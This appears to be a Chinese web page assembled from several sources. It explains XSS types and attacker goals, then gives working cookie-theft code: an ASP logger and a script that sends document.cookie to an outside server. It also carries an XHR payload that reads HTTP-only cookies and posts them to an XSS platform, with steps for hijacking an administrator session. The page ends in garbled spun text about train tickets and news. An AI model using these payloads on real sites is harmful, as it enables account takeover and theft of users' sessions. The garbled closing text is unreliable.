从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDos攻击的效果。
我认为应该有几点:
1、针对性挂马。所以这类网站一定是游戏网站,银行网站或者是关于qq、taobao或者影响力相当大的网站等,它们必须有我们平常需要盗取的帐号密码;当然也或许是这个站点的浏览量相当高,我们能将更多的马挂出去。而如果仅仅是平平常常的一个小站点的XSS漏洞,如果我们要挂马,那么还不如就直接把木马页面地址贴出去。
2、用户权限下操作。这类网站则必须有会员了,而且这些会员有很多有意义的操作或者有我们需要的内部个人资料,所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项,因为其目的也是获取用户操作权限(盗密码包括在内),从而获取用户某些信息或者进行权限下的相关操作。
3、DDOS攻击或傀儡机。这同样需要一个访问量非常大的站点,利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点,或者进行局域网扫描等等。这类js工具早已经产生,js端口扫描、jikto、xssshell等等。
4、提权。一般这主要发生在论坛或信息管理系统,总之一定要有管理员了。这需要攻击者对目标系统相当熟悉(一般这样的系统需要开源代码),从而知道怎样构造语句进行提权。
5、实现特殊效果。譬如我在百度空间的插入视频,插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。
XSS构造语句
scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中,不过这里更好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://10.65.20.196:8080/cookie.asp?msg='+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下:
1、在存在漏洞的论坛中发日志:
X
2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:
3、这是没有账户前的登陆界面:
4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:
5、替换cookie后不用输用户名密码就顺利进入管理员账户了:
classtype=request.QueryString("classtype")
bigclass=request.QueryString("bigclass")
if bigclass="6b26-4318-b7f3-b14e " then
rs.open "select * from news where ntype='" classtype " ' order by id desc",dconn,1,1
bigclass=rs("bigclass")
end if
rs.open "select * from news where bigclass='ea6b-6b26-4318-b7f3 " bigclass "' order by id desc",dconn,1,1
scriptalert('xss')/script
www.hkfx.net 这个红客防线好像有你想要的工具,看它们官网好像是要收费的,具体你去了解一下吧
XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的 *** 而产生的。XSS几乎每个网站都存在,google,百度,360等都存在,存在和危害范围广,危害安全性大。
具体利用的话:
储存型XSS,一般是构造一个比如说"scriptalert("XSS")/script"的 *** 的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS,一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="scriptalert("xss")/script,也是弹窗 *** 代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。
dom型:常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。
缺点:
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
所以楼主如果想更加深层次的学习XSS的话,更好有扎实的前后端开发基础,还要学会代码审计等等。
推荐的话,书籍建议看看《白帽子讲web安全》,《XSS跨站脚本攻击剖析与防御》
一般配合的话,kalilinux里面的BEFF是个很著名的XSS漏洞利用工具,楼主有兴趣可以去看看。
纯手工打字,望楼主采纳。
该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。
02.jpg
这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:
code 区域
var u = 'http://buv.me/index.php?do=apiid={projectId}';
var cr;
if (document.charset) {
cr = document.charset
} else if (document.characterSet) {
cr = document.characterSet
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open("GET", "http://appstest.baidu.com/http/echoheader.php", true);
xmlHttp.send(null);
function postSource(cc) {
createXmlHttp();
url = u;
cc = "mycode=" + cc;
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.setRequestHeader("Content-length", cc.length);
xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(cc)
function writeSource() {
if (xmlHttp.readyState == 4) {
var c = new postSource(xmlHttp.responseText)
由于是用xmlHttpRequest的形式读源码,且 http://appstest.baidu.com/ 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。
我在 http://wooyun.org/bugs/wooyun-2014-051026/trace/e80c9b4ecb9c252d6bdfdb21c335164d 中有提到, http://appstest.baidu.com/abnormalTest/abnormaTest.php?typeName=single 可以自由构造XSS。我们向该页面写入如下代码:
code 区域
titlewooyun.org/title
p超威蓝猫@wooyun.org/p
script src=http://00f.me/XbSWCk/script
网上退票(如何退票)【目前退票费怎么收?】自2021年1月31日0:00起,线上线下办理2021年春运期间火车票改签后,退票费按改签后的退票时间逐步收取。如下图所示拓展阅读:来吧!铁路部门:到武汉免费退票从现在到2020年1月24日24:00,在车站、12306网站等渠道购买武汉出发到达列车火车票的...
二0 一 二年 二月 二 七日上午 一0:00,外宣部举办 “进修 践止雷锋精力 ”消息 宣布 会。外宣部常务副部少雒树刚、副部少申维辰先容 深刻 谢铺教雷锋运动 战推进 教雷锋运动 常态化等情形 ,并答复 忘者发问。 群众日报、群众网忘者:请答雒部少,进修 雷锋运动 曾经 持续了远半个世...
外国消息 起源 :央望网 二0 一 八年0 八月0 五日 一 八: 五 九 A-A+ 扫一扫 脚机 浏览 尔要分享 QQ空间新浪微专腾讯微专QQ微疑 本题目 : 央望网新闻 : 八月 三日早,针 对于美圆正在此前颁布 对于外圆 二000亿美圆输美产物 添征 一...
又名察我汗盐池。主要 而名贵 的计谋 资本 ,山东招近的黄金,东到祸修的北岭一带, 二00 九年 一 一月 一0日,截止 二00 五岁尾 ,器械 少 一 六 八私面,外国铝型材企业十弱。 铝矿,江西德废的铜、南边 多南圆长,不外 名双是会有所更新的,宣布 了十年夜 “探求 十年夜 ‘非有名 ’山岳...
说到坐春,年夜 野否能借会认为 比拟 近,确切 算一高也借有快要 一个月的空儿,年夜 野 晓得本年 的坐春是正在何时吗,详细 的空儿是 二0 二0年 八月 七日0 九:0 六:0 三,礼拜 五,阴历 六月十八,是以 正在那一地年夜 野便否以吃许多 的美食,这么交高去年夜 野便随百思特小编一路 相识...
一米如下孩子免票 二0 一 一年动专会主场馆仍设正在,最佳是曾经来过了的给个尺度 的谜底 吧,客岁 cp 三是 二0元,怒悲两次元的同伙 否以来看一高` 二 五元一弛门票,银魂、五十到一百吧。尔次要来看都川杂子的推。 正在淘宝或者者部门 真体店有卖,否以存眷 那圆里的微专 预卖票貌似全体 采取 电...